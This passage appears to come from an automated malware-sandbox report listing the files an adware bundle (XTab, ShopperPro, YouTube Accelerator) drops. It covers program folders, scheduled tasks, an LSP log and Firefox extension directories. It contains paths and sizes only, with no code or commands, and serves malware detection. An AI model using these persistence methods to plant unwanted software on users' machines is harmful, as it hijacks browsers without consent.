The Application creates and/or writes to the following file(s):

%Program Files% (x86)\XTab\conf (1498 bytes)
%Program Files% (x86)\XTab\BrowerWatchFF.dll (24 bytes)
%Program Files% (x86)\XTab\BrowerWatchCH.dll (24 bytes)
%Program Files% (x86)\XTab\IeWatchDog.dll (24 bytes)
%Program Files% (x86)\XTab\BrowserAction.dll (49 bytes)

The process STab_Down_6.0.6.8.exe:1496 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\XTab_4.0.2.1716[1].exe (247529 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\tmp\XTab_v4.0.exe (53810 bytes)

The process cmdshell.exe:200 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\XTab\HPNotify.exe (675 bytes)

The process ShopperPro.exe:1984 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\config.json (490 bytes)
C:\ProgramData\ShopperPro\ShopperPro.dll (2321 bytes)
%Program Files% (x86)\ShopperPro\config.json (1260 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.exe (291 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1499.0.0.0\jsdrv.sys (52 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (514 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\config.json (490 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\database1_0_0.json (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\install.rdf (828 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1499.0.0.0\database1_0_0.json (6 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1499.0.0.0\config.json (770 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.xul (203 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.json (3 bytes)
C:\ProgramData\ShopperPro\database1_0_0.json (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\chrome.manifest (113 bytes)
C:\ProgramData\ShopperPro\ShopperPro64.dll (3073 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1499.0.0.0\jsdrv.exe (22786 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\shopperpro_128.png (5 bytes)

The process %original file name%.exe:3304 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe (8413 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz23D6.tmp (6323 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\config.ini (97 bytes)

The process WebPlayer.exe:2972 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\btn_bg[1].jpg (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\23428f8768d928d2bd45dd3b0c4d0057[1].png (25819 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\product[1].css (25 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\lightbox[1].js (4615 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\00c73f6d4e4eb25289dddb86e2d1e319[1].jpg (3060 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\4.0stars[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\lightbox[1].css (426 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\1f8ffa22b53dfc2f6b7f1850bb6b73e8[1].png (24410 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\3.5stars[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\f3ad8b396434c21b4c214fd667ee391d[1].png (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\loading[1].gif (200 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\jquery.min[1].js (55670 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\4f263f4be4c4396c9078d1874c05b928[1].png (7428 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\58d196b3e886a838d021adc8c8848f1e[1].png (1160 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\6ef6fd5410a7fb481fe6841cb381c046[1].jpg (2796 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\d586df222f5069b6c396373d67d0163b[1].png (56289 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\442a5f30204dd385d17de5848683274f[1].png (30088 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\3d8bbea6bcae57d705c676f7050a7d51[1].png (12236 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\7c9d412c730603d1d82b98a548a71bac[1].png (13453 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\close[1].png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\0692c2494a7331a77c05954f79c5480a[1].png (18695 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\567f43cb72fe3ac6419369953394cadd[1].png (101123 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\a6ae526a0a22dcfc743a66d44a3e09e3[1].png (65119 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\BC13LZYH.txt (91 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\ddb3b88cf98eb0220c9e6c252e376749[1].png (36554 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\e54e8c720dffffa619c3b0eacec9381a[1].png (7593 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\36d7cd00f07003a67021237993257d08[1].png (11789 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\logo_illust[1].jpg (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\NAJ6N25P.txt (225 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\ace33f0a1eddf74bbe8d1bfac70deded[1].png (22070 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\b43daeae6aca6ab7d6a00084494d81db[1].png (30793 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\bbbde9554589bda63791709a6785e0a3[1].png (19380 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\f4e4b853ddab3b763f0af17d513631bd[1].png (50676 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\4.5stars[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\home[1].htm (2899 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\style[1].css (181 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\b147a5a09b49b133d347bd975a4c5616[1].png (2691 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\07fce0a4ff78cc7e6376e227f046ce06[1].png (75975 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\cc3148e57a2928cd1ada1bbea553c3c2[1].png (1160 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\6a12dc1a298e870b610a58a56ba0f5ec[1].jpg (584 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\ac5196fbf245580eee113296dff14d0b[1].png (8840 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\7e5817bad781bbc2d2e43b350ccb53db[1].png (12308 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\b85261679e262228a562f693b3e6ef6f[1].png (64771 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\bg_main[1].jpg (200 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\52d5414e7372639389ab7e9e4d479aee[1].png (44504 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\config[2].json (778 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\scripts[1].js (25 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\1759703220576e41cab39feb18a11b14[1].png (17060 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\logo[1].jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\83a4cee7a59522b93ed0ae1fa73ce8f3[1].png (4979 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\7d4f668f3d1818d01b6b9684b669d0db[1].png (8092 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\jquery.smooth-scroll.min[1].js (194 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\3.0stars[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\59982d8527c0da41e35817e8fc15c0fc[1].png (7112 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\da84c206c2019448521379d2ff837774[1].png (6034 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\13ca8e322e15bc394d66a37bec12e3b4[1].png (41319 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\3YEwT2a1878zysq92S8_9w[1].eot (1831 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\a64a4b5c68c364d30083fbd0b0363585[1].png (54123 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\5.0stars[1].jpg (159 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\analytics[1].js (17192 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\f1ed3cd0cae7a3524376e6f9369c7ab8[1].png (6239 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\css[1].css (155 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\5dbc29649669598ff43174b9ee730008[1].png (2945 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\589b1e936e1f038dc45bd8ffff59b359[1].png (32220 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\e94782c9200f8de809a50327879df1cc[1].png (54379 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\jquery-ui.min[1].js (117066 bytes)

The process Devtf.exe:2136 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\App Lid\utils.exe (82314 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\installer.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspB839.tmp (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspB839.tmp\InstallerUtils2.dll (3410 bytes)
C:\Windows\Tasks\af1bef35-aa27-4010-9003-02d835dca74d-5.job (74 bytes)
%Program Files% (x86)\App Lid\af1bef35-aa27-4010-9003-02d835dca74d.xpi (2321 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspB839.tmp\af1bef35-aa27-4010-9003-02d835dca74d-4.dll (38904 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspB839.tmp\InstallerUtils.dll (28539 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspB839.tmp\md5dll.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuB809.tmp (667745 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspB839.tmp\100846 (91089 bytes)
%Program Files% (x86)\App Lid\af1bef35-aa27-4010-9003-02d835dca74d-4.exe (8330 bytes)
%Program Files% (x86)\App Lid\af1bef35-aa27-4010-9003-02d835dca74d-5.exe (7547 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspB839.tmp\ExecDos.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspB839.tmp\nsisos.dll (13 bytes)
%Program Files% (x86)\App Lid\Uninstall.exe (601 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspB839.tmp\345984 (4375 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspB839.tmp\System.dll (23 bytes)
C:\Windows\Tasks\af1bef35-aa27-4010-9003-02d835dca74d-5_user.job (74 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspB839.tmp\UserInfo.dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspB839.tmp\StdUtils.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\ipgeoapi_com[1].json (40 bytes)

The process ins_shopperpro.exe:2888 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuDECC.tmp\D1958.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuDECC.tmp\setup.exe (1590209 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuDECC.tmp\NK.lky (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuDECB.tmp (151383 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuDECC.tmp\setup1.exe (143233 bytes)

The process regsvr32.exe:3320 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\YTAHelper\YTAHelper64.dll (524 bytes)

The process regsvr32.exe:3020 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\ShopperPro.dll (425 bytes)

The process regsvr32.exe:1696 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\YTAHelper\YTAHelper.dll (434 bytes)

The process regsvr32.exe:2252 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\ShopperPro64.dll (503 bytes)

The process lspinst.exe:4088 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\instlsp.log (295 bytes)
C:\ProgramData\TEMP:56E2E879 (375 bytes)

The process lspinst.exe:492 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\instlsp.log (253 bytes)
C:\ProgramData\TEMP:56E2E879 (375 bytes)

The process af1bef35-aa27-4010-9003-02d835dca74d-4.exe:2184 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\80421bfabc0bafb173298567872a5244.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\195.js (414 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\11c70fb962bbe54ad98c24658e819ca6.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\defaults\preferences\prefs.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\220.js (1592 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\301.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\installer.js (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\252.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\3dfaab4d913cacc7f712fc41c22e5ec1.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\b86a9cbfcc2e285a6001f36d8d50cb35.js (947 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\182.js (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\15bf2fed2c287e299bf3b6965c3a5b42.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\255.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\22.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\125ea4b0a00c558a8f4a864d7d8d9423.js (618 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\98.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\b917f254106854e0153ec00d7aa11ce6.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome.manifest (634 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\345.js (619 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\install.rdf (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button5.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\userCode\extension.js (358 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\manifest.xml (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon24.png (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\21.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\options.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\09405ee413a96f6e43a3e9a6885ab1a5.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button2.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button3.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\aa05d258c99d7bbb41baf727160dcef9.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\13.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\locale\en-US\translations.dtd (429 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\b89fb98e4a8c8d557e15d5b9526810c9.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\104.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\234.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\288.js (557 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button4.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\281.js (489 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\253.js (741 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\59c6a5abe7b0879010ddc16f0ae9fc81.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon48.png (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\1cff3065dd04512a48f5441224bf9023.js (651 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\180.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\bcbd35555e683e97557394f24c7894c2.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\16.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\93cecea39567ed1993d5b39d5b9f8b0f.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\808d676494869df5ae8bcbf05993cd44.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\64.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\102.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\426c3ef5da6b5d05d0ac1b6e3b0506dd.js (964 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\72.js (1601 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\6a9d61fb02d695ea8d2c3f48d9623c70.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\242.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\panelarrow-up.png (921 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\crossrider_statusbar.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\b8150fdea74b94b1a837a0f05e890913.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\5574ea8cae3c2cd536e7f0af919400dd.js (5 bytes)
